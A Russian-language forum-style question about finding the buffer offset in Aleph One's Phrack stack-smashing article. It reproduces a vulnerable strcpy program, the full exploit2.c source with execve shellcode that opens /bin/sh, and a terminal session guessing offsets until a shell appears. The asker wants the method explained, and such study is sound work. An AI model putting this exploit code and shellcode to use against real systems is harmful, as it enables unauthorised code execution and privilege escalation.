Можете ли вы объяснить метод нахождения смещения буфера при поиске потенциала переполнения буфера?

Я просматриваю статью Алефа в журнале Phrack. Приведенный ниже код также можно найти там.

У нас есть уязвимый исполняемый файл, код которого:

уязвимый.c

void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}

Теперь, поскольку мы действительно не знаем, когда пытаемся атаковать этот исполняемый файл (путем переполнения buffer), каков адрес buffer. Нам нужно знать его адрес, потому что мы хотим переопределить ret, чтобы он указывал на начало buffer (в которое мы поместили наш шелл-код).

Процедура угадывания, которая описана в статье, выглядит следующим образом:

Мы можем создать программу, которая принимает в качестве параметра размер буфера и смещение от своего собственного указателя стека (где, как мы полагаем, буфер, который мы хотим переполнить, может жить). Мы поместим строку переполнения в переменную среды, чтобы ею было легко манипулировать:

exploit2.c

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512

char shellcode[] = //this shellcode merely opens a shell
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr += 4;
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}

Теперь мы можем попытаться угадать, какими должны быть буфер и смещение:

[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$

Я не понимаю, что автор хотел представить, в explot2.c мы угадываем размер буфера в vulnerable.c и его смещение от указателя стека.

• Почему мы применяем это смещение к указателю стека exploit2?
• Как это влияет на vulnerable?
• Какова цель exploit2.c, кроме создания переменной окружения EGG?
• Почему мы называем system("/bin/bash"); в конце?
• Что вообще происходит между vulnerable и exploit2?